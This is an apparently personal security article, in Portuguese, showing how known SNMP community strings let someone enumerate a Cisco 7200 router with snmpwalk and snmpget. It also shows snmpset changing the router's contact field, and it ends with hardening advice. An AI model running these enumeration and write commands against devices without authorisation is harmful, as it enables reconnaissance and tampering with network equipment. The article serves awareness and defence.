• Nome:Ricardo L0gan
  • Especialidade:Network Security and Security Researcher Enthusiast
  • E-mail:ricardologanbrøgmail·com·br
  • Contato:About-me | Github: Loganbr | Twitter:l0ganbr | Localização:::1
Indice
============
0x00 - Introdução
0x01 - Informações Necessárias
0x02 - Explorando as OIDs existentes em equipamentos cisco
0x03 - Melhorando a segurança de equipamentos Cisco que possuem SNMP habilitado
0x04 - Conclusão

0x00 - Introdução
Irei demonstrar o quão poderá ser vulnerável a sua rede caso você tenha uma comunidade SNMP RFC 1157(RO, RW) habilitada e conhecida pelo agente de ameaça que poderá explorá-la.
Iremos abordar os comandos snmpwalk, snmpget e snmpset, todos fazem parte do pacote open source netsmp, e funciona principalmente em ambiente Linux / Unix / MacOs. Também existem ferramentas similares que funcionam em Windows.
Basicamente você poderá fazer uma varredura em todas as OIDs dos dispositivos (Switch, Roteador, firewall, Servidores entre outros dispositivos que trabalham com snmp).
Colocando a mão na massa,e utilizando um MAC OS vamos levantar informações sobre um determinado equipamento e posteriormente iremos alterar um parâmetro de configuração deste equipamento.

0x01 - Informações Necessárias

Comandos: snmpget / snmpwalk / snmpset
Comunidades: rdefaultro (Comunidade apenas de Leitura) rdefaultrw (Comunidade de Leitura e Gravação).
IP Alvo: 192.168.1.1
Outras Info: Parâmetros de coleta
sh-3.2# snmpwalk -v1 -c 'rdefaultro' 192.168.1.1: system
SNMPv2-MIB::sysDescr.0 = STRING: Cisco IOS Software, 7200 Software (C7200-JK9S-M),Version 12.4(18), RELEASE SOFTWARE (fc1)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2007 by Cisco Systems, Inc.
Compiled Sat 01-Dec-07 03:07 by prod_rel_team
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.9.1.222 
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (128459) 0:21:24.59
SNMPv2-MIB::sysContact.0 = STRING: SNMPv2-MIB::sysName.0 = STRING: RT_R5_BA.toka.msft
SNMPv2-MIB::sysLocation.0 = STRING:
SNMPv2-MIB::sysServices.0 = INTEGER: 78
SNMPv2-MIB::sysORLastChange.0 = Timeticks: (0) 0:00:00.00
! Verificando Uptime do ativo
sh-3.2# snmpget -v 2c -c rdefaultro 192.168.1.1 system.sysUpTime.0
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (103618) 0:17:16.18
! Verificando Hostname 
sh-3.2# snmpwalk -v1 -c 'rdefaultro' 192.168.1.1: system.sysName.0 
SNMPv2-MIB::sysName.0 = STRING: RT_R5_BA.toka.msft 
Tabela de MIBs/OIDs mais comuns em equipamentos CISCO


0x02 - Explorando as OIDs existentes em equipamentos cisco
sh-3.2# snmpwalk -c 'rdefaultro' 192.168.1.1 
* Resultado não impressos por conterem N linhas de informação. 
sh-3.2# snmpwalk -c 'rdefaultro' 192.168.1.1 .1.3.6.1.2 
sh-3.2# snmpwalk -c 'rdefaultro' 192.168.1.1 .1.3.6.1.4
* Resultado não impressos por conterem N linhas de informação.
! Alterando o Campo Contato do Router
sh-3.2# snmpset -c 'rdefaultrw' -v 1 192.168.1.1 system.sysContact.0 [email protected] SNMPv2-MIB::sysContact.0 = STRING: [email protected] 
! Resultado
sh-3.2# snmpwalk -c 'rdefaultro' 192.168.1.1 system.sysContact.0 SNMPv2-MIB::sysContact.0 = STRING:[email protected]
Usando a ferramenta getif que roda em ambiente Microsoft

0x03 - Melhorando a segurança de equipamentos Cisco que possuem SNMP habilitado:
- Utilizar snmpv3 de preferencia com criptografia;
-
Utilizar ACL restringindo quais IPs poderão realizar consultas snmp;
-
Não utilizar o nome de comunidade como “public” e "private", pois é um erro comum por tratar-se de comunidades default;
-
Habilitar Comunidades com permissão de escrita apenas se necessário (Evitando manipulações de MIBs via snmpset):

0x04 - Conclusão

Como sugestão, desejo que você tenha em mente o conceito de “think out of the box”. Desta forma os conceitos apresentados neste artigo podem ser implementados na maioria dos equipamentos disponíveis no mercado, mudando apenas a sintaxe de implementação e ou ferramenta utilizada. Para este artigo foi utilizando um router Cisco da família 7200.